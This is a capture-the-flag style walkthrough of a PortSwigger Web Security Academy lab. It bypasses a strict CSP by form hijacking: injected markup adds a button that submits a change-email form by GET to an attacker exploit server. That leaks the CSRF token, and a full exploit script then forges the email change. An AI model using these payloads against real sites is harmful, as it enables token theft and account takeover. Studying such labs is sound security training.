The lab
here is how portswigger describes it
This lab uses a strict CSP that prevents the browser from loading subresources from external domains.
To solve the lab, perform a form hijacking attack that bypasses the CSP, exfiltrates the simulated victim user's CSRF token, and uses it to authorize changing the email
You must label your vector with the word "Click" in order to induce the simulated user to click it.
You can log in to your own account using the following credentials: wiener:peter
The idea#
a csp content security policy is a set of rules the site sends that the browser enforces, and a strict one like this blocks inline scripts and blocks loading anything from external domains. so the usual xss plan run some javascript is dead there is nowhere for our code to execute
but a csp is picky about scripts and much less picky about plain html. and there is one thing this policy forgets to lock down, where a form is allowed to send its data. that is governed by a directive called form-action, and it is missing here. that gap is the whole attack. if we can inject markup into a page that already contains a form, we can add a button that changes where that form submits, and send its contents wherever we like. this is form hijacking, and because it needs no script, the csp never gets involved.
why does that matter for this lab. the account page holds a change email form, and inside that form sits a csrf token, a secret value the server demands before it will accept an email change. we cannot forge that token, and we cannot read it with script because the csp stops us. but if we hijack the form so it submits to us, the token comes along for the ride. once we have the token, we can turn around and submit a perfectly valid email change on the victim's behalf. so the plan is, hijack the form to leak the token, then use the token to change the email.
Step 1 - Log in and find the form we want to abuse#
first i logged in with the provided credentials, wiener:peter, and went to the account page. there is a change email form, and viewing the source shows it carries a hidden csrf token alongside the email field.

that token is the prize. everything from here is about getting it out of the victim's session and back to us.
Step 2 - Probe for xss and confirm the csp is doing its job#
i started by poking the email field itself with a basic <img src onerror=alert(1)>, but client side validation refuses anything that is not an email, so it never even reaches the server. sending the same thing through burp repeater to skip that validation does not help either, the value comes back sanitised.
so i tried shaping the input to pass as an email and hang the payload on the end, like [email protected]<img src onerror=alert(1)>

this time it does reflect on the page, but it comes back escaped and does not run. that already hints that on top of the sanitising there is probably a csp stopping scripts from executing.
to test the reflection more freely i moved to the email query parameter on the account url instead.
/my-account?email=<img src onerror=alert(1)>

the payload lands in the page but the script still does not fire which is the csp doing exactly its job, blocking script execution so running javascript is off the table and the way forward has to be something the csp does not enforce which points us at that missing form-action and a markup only attack.
Step 3 - Hijack the form with an injected button#
quick word on the exploit server first since we are about to lean on it. every portswigger lab that needs one gives you an exploit server reachable at its own exploit-server.net address it is your attacker controlled machine for the exercise you paste an html response into it and hit store and it hosts that page at the /exploit path. a deliver exploit to victim button sends the simulated victim's browser to your page, and an access log shows the requests that arrive which is how we will catch the csrf token.
now the injection. because the email value is reflected inside the form's markup we can break out of the attribute it sits in with "> and drop our own element into the form. we inject a button whose formaction points at our exploit server and we label it click me because the lab will only make the simulated user click something labelled that way.
/my-account?email=foo@bar"><button formaction="https://your-exploit-server-id.exploit-server.net/exploit">Click me</button>

a button with a formaction overrides where its form submits, so this button now belongs to the change email form, csrf token and all but it points that submission at us. clicking it sends the form to our exploit server which proves we can redirect the site's own form to an external server straight past the csp.
Step 4 - Switch to get so the token lands in the url#
there is a snag by default the form submits with post, which puts the csrf token in the request body and from the exploit server we cannot easily read a body so we tell the button to submit with get instead by adding formmethod="get" which pushes every field the csrf token included into the url query string where our exploit server can read it right off the address.
/my-account?email=foo@bar"><button formaction="https://your-exploit-server-id.exploit-server.net/exploit" formmethod="get">Click me</button>
now clicking the button carries us to the exploit server with the csrf token sitting in plain view in the url. we have our leak.
Step 5 - Chain it into one exploit and deliver it#
the final exploit ties both halves together in a single page hosted on the exploit server. the logic is, if this page was loaded with a csrf token in its url then the victim has already clicked and leaked it, so forge the email change, and if not, send the victim to the account page carrying our click me button so they can leak it in the first place. here is the script for the body field, cleaned up.
<body>
<script>
const academyFrontend = "https://your-lab-id.web-security-academy.net"
const exploitServer = "https://your-exploit-server-id.exploit-server.net/exploit"
const url = new URL(location)
const csrf = url.searchParams.get('csrf')
if (csrf) {
const form = document.createElement('form')
const email = document.createElement('input')
const token = document.createElement('input')
token.name = 'csrf'
token.value = csrf
email.name = 'email'
email.value = '[email protected]'
form.method = 'post'
form.action = `${academyFrontend}/my-account/change-email`
form.append(email)
form.append(token)
document.documentElement.append(form)
form.submit()
} else {
location = `${academyFrontend}/my-account?email=blah@blah%22%3E%3Cbutton+class=button%20formaction=${exploitServer}%20formmethod=get%20type=submit%3EClick%20me%3C/button%3E`
}
</script>
</body>
reading it in the two phases. on the victim's first visit there is no csrf in the url, so the else branch runs and sends them to the account page with our injected get button, labelled click me. the simulated user clicks it, the change email form submits to the exploit server by get, and the token rides along in the url. that lands the victim back on our exploit page, but this time with csrf in the url, so the if branch runs, builds a fresh form pointed at the real change email endpoint, fills in the stolen token and our attacker email, and auto submits it. the server sees a valid token and accepts the change.
swap in your own lab and exploit server addresses, hit store, then deliver exploit to victim, and the victim's email is changed to hacker @logicbreaker.sh

with this, the lab is solved!
